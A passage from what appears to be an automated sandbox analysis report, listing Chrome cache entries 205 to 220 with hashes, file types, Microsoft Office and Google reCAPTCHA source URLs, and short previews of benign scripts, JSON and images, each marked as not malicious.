Preview:	{"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8AQV8zXOVZjJRhtbIgP1qvy"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.5c5aa72568aaa16099a5.js","sha384-4VDeYsCErzGUO+GUj2TCI9lFSBFl4ppQZfDTMKPmyFmDTneBNdyajpbupljH9Goc"],"sharedaut

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/progress.gif
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2257
Entropy (8bit):	5.15196771601333
Encrypted:	false
SSDEEP:	48:YovlUdvqvlUd+bdqyHkYyqISOvgDdZytvfP6fREuv+REucEgukXX1BJyHkYyqISV:92dvC2d6dqMPISOvgDHUa5Fk/+PMPISV
MD5:	FA25A88145828E4F344426503714BE3A
SHA1:	F3DCC3D9E57A34101FAF0D033890A72793DED5E9
SHA-256:	FB2DC73BCF46A340B1305EB2E6ED550F2F0F0C61E7F66327D1EB06B068934AAA
SHA-512:	303B4044FF1BFBEA951594B7BCD5525CCC4116719D9D5B7B1EBCD698A0417B1F297C2230678BA0766CE34A3C07F7B8C1B8642EA7B273C17E5815F47B97368630
Malicious:	false
Reputation:	low
URL:	https://admin.microsoft.com/admin/api/uxversion?bldVer=v1
Preview:	{"floodgate":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.3/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.3/floodgate.en.bundle.js"},"version":"2024.4.18.3"},"ariaLoggerId":"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad4d38-7330","hostingAppUrls":"{\"M365AdminPortal\":\"https://admin.microsoft.com\",\"EXOAdminPortal\":\"https://admin.exchange.microsoft.com\",\"SPOAdminPortal\":\"https://admin.microsoft.com/sharepoint\",\"TeamsAdminPortal\":\"https://admin-int.teams.microsoft.net/\",\"MSGraphEndPoint\":\"https://graph.microsoft.com\",\"CDNContentURL\":\"https://res.cdn.office.net/admincenter/admin-content\",\"AriaLoggerGlobalCollectorEndpoint\":\"https://mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerEUCollectorEndpoint\":\"https://eu-mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerId\":\"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad4d3

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h9E1DA5BF71513549_resources/1033/FavIcon_OneNote.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59980)
Category:	downloaded
Size (bytes):	60027
Entropy (8bit):	5.6566265573222845
Encrypted:	false
SSDEEP:	1536:gA9t+D6NsVXuzm2KI4OpB4KifgilKCPuMyQ:gA9tJzm2oOefgiUCD
MD5:	08EC3609656C3DAA7C2F05F14C5FAD9A
SHA1:	343E5B52F210107F66F8CC37B836384613FAC3DA
SHA-256:	D2363AA4EE19951DA213D96107385E24F589011FF3530EFAFA4C515DA7006685
SHA-512:	8AF5DC3BAC82E8CB8636E8EB6B73387AF7BEF705656FC31290420A92031FB14D6F63D6AC04A78382B00A3A2AE61F5852975539AC378AFEB567088139FF3B2FED
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/oreosearchpane.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[697],{3122:function(e,n,t){var a=t(93556),o=t(78267)(a);o.push([e.id,".ms-u-slideUpIn20 {\n animation-name: fadeIn, slideUpIn20;\n -webkit-animation-duration: 0.367s;\n -moz-animation-duration: 0.367s;\n -ms-animation-duration: 0.367s;\n -o-animation-duration: 0.367s;\n animation-timing-function: cubic-bezier(0.1, 0.9, 0.2, 1);\n animation-fill-mode: both;\n}\n\n@keyframes slideUpIn20 {\n from {\n transform: translate3d(0px, 20px, 0px);\n }\n\n to {\n transform: translate3d(0px, 0px, 0px);\n }\n}\n\n.ms-u-slideDownIn20 {\n animation-name: fadeIn, slideDownIn20;\n -webkit-animation-duration: 0.367s;\n -moz-animation-duration: 0.367s;\n -ms-animation-duration: 0.367s;\n -o-animation-duration: 0.367s;\n animation-timing-function: cubic-bezier(0.1, 0.9, 0.2, 1);\n animation-fill-mode: both;\n}\n\n@keyframes slideDownIn20 {\n from {\n transform: translate3d(0px, -20px, 0px);\n }\n\n to {

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.8013557344442175
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKVnIwN4wECWaee:PLKdXNQKVnDoCL
MD5:	284B36421A1CF446F32CB8F7987B1091
SHA1:	EB14D6298C9DA3FB26D75B54C087EA2DF9F3F05F
SHA-256:	94AB2BE973685680D0BE9C08D4E1A7465F3C09053CF631126BD33F49CC2F939B
SHA-512:	093F3F5624DE2E43E43EB06036107FF3260237F9E47E1F86FDFBA7C7036522187A9B47B291F5443C566658A8EF555E5033C7F2AC0C9F4FA8EB69EB8E2540B372
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
Reputation:	low
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59981)
Category:	downloaded
Size (bytes):	60022
Entropy (8bit):	5.39718997352001
Encrypted:	false
SSDEEP:	768:/grwLEFGEFbov8+qJS86v+z4iIBYpmDBhLc+C2kJjD2jkYXXWUFmMIRY+b+hNgLx:/grg/HBhC2qU1fQ3pBBZ9Hc6
MD5:	546CC8F89DC266F3C888BECB83B486B6
SHA1:	C319504AAEE2FD0A63361F73942C801279DB1A92
SHA-256:	745F6156DD17A964CF34590C6A63777AF84151D9116A4A447B2EDE3BCC7251B3
SHA-512:	13A091904CF5FD2FED7C798DE8FEB7F7BDF046909DA058761CBF6CF34E9271F7AD963EEA995EEF705A9F6A81E410A91834425C72BEFE27C9042C08D0D638435B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/oreolazy.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[766],{62906:function(e,t){var n;Object.defineProperty(t,"__esModule",{value:!0}),(n=t._BondDataType\|\|(t._BondDataType={}))[n._BT_STOP=0]="_BT_STOP",n[n._BT_STOP_BASE=1]="_BT_STOP_BASE",n[n._BT_BOOL=2]="_BT_BOOL",n[n._BT_DOUBLE=8]="_BT_DOUBLE",n[n._BT_STRING=9]="_BT_STRING",n[n._BT_STRUCT=10]="_BT_STRUCT",n[n._BT_LIST=11]="_BT_LIST",n[n._BT_MAP=13]="_BT_MAP",n[n._BT_INT32=16]="_BT_INT32",n[n._BT_INT64=17]="_BT_INT64"},64069:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var i=n(95456),r=n(21756),o=n(24650);t._Utf8_GetBytes=function(e){for(var t=[],n=0;n<e.length;++n){var i=e.charCodeAt(n);i<128?t.push(i):i<2048?t.push(192\|i>>6,128\|63&i):i<55296\|\|i>=57344?t.push(224\|i>>12,128\|i>>6&63,128\|63&i):(i=65536+((1023&i)<<10\|1023&e.charCodeAt(++n)),t.push(240\|i>>18,128\|i>>12&63,128\|i>>6&63,128\|63&i))}return t},t._Base64_GetString=function(e){for(var t,n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	30746
Entropy (8bit):	5.174902538130611
Encrypted:	false
SSDEEP:	384:/iL+oQA/1DynNjr67VY/6NY/gHWOf49498vxVxjF:/iL+orVynNaBYbyv9uxzF
MD5:	8EEB14C505B79A7378332DE41F3C190D
SHA1:	60A4CBF2B4EAD56ECC380F1FA8706A4C29F7B512
SHA-256:	B0F728D3C97576B5E039209F0D9A2C277D44531441CC76D2A2A4076623EFB1F8
SHA-512:	1AEFB2A8562F18F288BD1E5EB81F5952015CBEDD89D4EA625B28146EA460EA531B38281385F3C8AD7E7ADE84BCDC570B2597344E69F619BC1DA108B26044F07A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/shellux/api/ShellBootInfo/consumer/OneShell/en-us
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20240413.3.0","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504.3031be43fd515bfdd9f8.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504.3031be43fd515bfdd9f8.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-687d6d\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-687d6d.b8d635a632aa976770cd.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
Reputation:	low
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	736002
Entropy (8bit):	5.396995437078082
Encrypted:	false
SSDEEP:	12288:hM1VommcmaPf3nYFQPMjh5RRXkJSe3JEkJTmjucy2j+fQHe3JfG3/g8iCcJg4UPD:hXmHmaPf3YFQPMjh5RRXkJSe3JEkJTmZ
MD5:	87E3F515E23D533ABAF84CAD506B3D38
SHA1:	59146A3C22F7AF3917FB0D807D12901857BB2C49
SHA-256:	4EF0DC6B3B093B70E8E74177CB35D1D83B6742388B42CF652BE8BE21FEC9782D
SHA-512:	F3D57AEC5B8B4461CCCA4B06C9F2F3512B2F993B6FD735B994BA7AA0935DFF07C5A66A0A121F6744A8098737FEF13875BAB761CE8C7F82A5A747D5FA0DFADA51
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/common.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[592],{89007:function(e,t,n){"use strict";n.d(t,{U:function(){return o}});var r=n(15948),o=n.n(r)()({loader:function(){return Promise.all([n.e(503),n.e(592),n.e(234)]).then(n.bind(n,89290)).then((function(e){return e.Callout}))},loading:function(){return null}})},9500:function(e,t,n){"use strict";n.d(t,{r:function(){return o}});var r=n(15948),o=n.n(r)()({loader:function(){return Promise.all([n.e(503),n.e(592),n.e(234)]).then(n.bind(n,57456)).then((function(e){return e.ContextualMenu}))},loading:function(){return null}})},15948:function(e,t,n){"use strict";function r(){return r=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},r.apply(this,arguments)}var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56400)
Category:	downloaded
Size (bytes):	196451
Entropy (8bit):	5.094227457998596
Encrypted:	false
SSDEEP:	3072:Vz+QUHHofsFheyK+cJTbeR1Xz2QZoK5fMOKkvBoKrpQmK4Zbwmk29XOUO+vNCYza:Vz5uezWHXz26oK5fMOKkvBoKrpQmK4ZM
MD5:	7982A52314A0AD58CF994F9D70636C8C
SHA1:	C5855D4295FE09D18E8EFC9B2CF6B1B2064087C9
SHA-256:	F725226563E78A9522DC23A877AEBCF028710D23CCA1E320C1F822A32F64D0B4
SHA-512:	E01EB004824EF31A028B6E44925DAA55683184B267C4CC26192A54AE46F958D610ED91DB7755563CB66FCE59CA793AE40CC22AE04BFCF89C647D737E19900B37
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hF725226563E78A95_App_Scripts/1033/common-intl.min.js
Preview:	var CommonStringsEnum,CommonStringsArray,CommonStrings={qpsPloc_Name:"Pseudo",qpsPloca_Name:"Pseudo (Pseudo Asia)",qpsPlocm_Name:"Pseudo (Pseudo Mirrored)",afrikaans:"Afrikaans",albanian:"Albanian",alsatian:"Alsatian",amharic:"Amharic",arabic:"Arabic",arabic_Algeria:"Arabic (Algeria)",arabic_Bahrain:"Arabic (Bahrain)",arabic_Egypt:"Arabic (Egypt)",arabic_Iraq:"Arabic (Iraq)",arabic_Jordan:"Arabic (Jordan)",arabic_Kuwait:"Arabic (Kuwait)",arabic_Lebanon:"Arabic (Lebanon)",arabic_Libya:"Arabic (Libya)",arabic_Morocco:"Arabic (Morocco)",arabic_Oman:"Arabic (Oman)",arabic_Qatar:"Arabic (Qatar)",arabic_Saudi_Arabia:"Arabic (Saudi Arabia)",arabic_Syria:"Arabic (Syria)",arabic_Tunisia:"Arabic (Tunisia)",arabic_UAE:"Arabic (U.A.E.)",arabic_Yemen:"Arabic (Yemen)",armenian:"Armenian",assamese:"Assamese",azerbaijani:"Azerbaijani",azerbaijani_Cyrillic:"Azerbaijani (Cyrillic)",azerbaijani_Latin:"Azerbaijani (Latin)",bangla_Bangladesh:"Bangla (Bangladesh)",bangla_India:"Bangla (India)",bashkir:"Bash

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/m2/one.png
Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4420)
Category:	downloaded
Size (bytes):	4452
Entropy (8bit):	5.1682425052412935
Encrypted:	false
SSDEEP:	48:1NG9trw/7zqHWRYK+riktCab88H9dqY3GK4YRAuhKe7DM56dc6sYRKRXcuz8kwrR:UtO7zGK7anQR8HHNDyxecjRXKpt
MD5:	D31680FC1AD7423DDD832D70BAC7E4F5
SHA1:	A250A0205898E3273B28E13CF09F38A41ACB7CB6
SHA-256:	64C489898D8DCD2E773DB38E14E82FD575F1DA05716B8861F4980AE87571C1BE
SHA-512:	8109EB4E86EC982471766510DF66AE916372674CDCAAD964A2F02525F9E71931E6627CCA187ED3D4D10B11642A0A32043889AB7CA46F0DBDD0139A35730057EB
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/wacowlhostwebpack/7.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[7],{108:(e,t,n)=>{function a(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];i()&&console.log.apply(console,e)}function i(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableFCILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}n.r(t),n.d(t,{getFirstCPUIdle:()=>o});var r=function(){function e(e){this._longTaskId=0,this._checkFCIRunId=0,this._isDisposed=!1;var t=e.requiredMainThreadCPUIdleDurationInMilliseconds,n=e.measurementStartTime;this._measurementStartTime=n,this._requiredMainThreadCPUIdleDurationInMilliseconds=t,this._resultResolver={resolve:void 0,reject:void 0},this._fciPromise=void 0,this._longTasks=[],this._processLongTaskPreQueue(e.initialEntries),this._registerLongTaskObserver()}return e.prototype.measureFCI=function(){var e=this;if(this._isDisposed)throw"FCIMeasurer is disposed.";return this._

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14666), with no line terminators
Category:	downloaded
Size (bytes):	14666
Entropy (8bit):	5.192998441009612
Encrypted:	false
SSDEEP:	192:9dbIGOqZ05GyaKzhRCwqyf/q2E+Rh99TzlfVNyv83+LBoaWLNwGfiC8O5PPM:9BiUQhRVfye99Pl9483+LBoaWLqv
MD5:	8880E957219B056B26B67D88CB7FFFF5
SHA1:	BE024ABFE99C2DC447191E2C59DD96FD9352E2C4
SHA-256:	4BBB0DBB03A136E993BB2FB363455E7DCABF84CBB17DE37AD6168B9326E56909
SHA-512:	1E611B1C8D3B7DE4CEE215C989885A6F8256B89A51621B77598A9A363AAF2897FC439DD73860234BA77AB682B84D05437CE0DBBDA59C3C1B5CC9D16662897EC5
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h4BBB0DBB03A136E9_App_Scripts/jsanity.js
Preview:	if("undefined"!=typeof jSanity)throw"jSanity has been defined, please check if there's any duplicate reference.";jSanity={},function(e){"use strict";var t={inputString:"",maxWidth:"600px",maxHeight:"200px",overflow:"hidden",allowLinks:!0,linkClickCallback:null,customProtocols:{},allowRelativeURLs:!1,allowAudioVideo:!1,unsupportedContentCallback:null,externalContentCallback:function(e,t,r,o){var i;if("attribute"===e&&"src"===t)for(var n in o)if(o.hasOwnProperty(n)&&r.substring(0,n.length)===n){i=!0;break}return i\|\|(r="CSSURL"===e?'url("about:blank")':"about:blank"),r},isolatedTargetDOM:!1,directModifySource:!0,attributePrefix:"jSanity",dataAttributeCallback:null,debugLevel:0,onFinishedCallback:null},r=function(){this.sync=!0,this.jobs=[],this.id=r.globalId++,this.listnerPosfix=0,this.onCompletedListners={},this.onNewJobAddedListners={},this.useSync=function(){this.sync=!0},this.useAsync=function(){this.sync=!1},this.addNewJob=function(e){for(var t in this.jobs.push(e),this.onNewJobAdded

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/10/manifest.json
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.708048150071232
Encrypted:	false
SSDEEP:	3:HyjJTzMKHJu:HyjNz5pu
MD5:	435B48C70ACA2DC80F8B34B5FDEB2789
SHA1:	FFE2C8567607568F939FA1A6F9888639B98B400C
SHA-256:	6468AC9F9BCA964F3910FC967B80781C1C8634300E36F95AE49056D91A2734BF
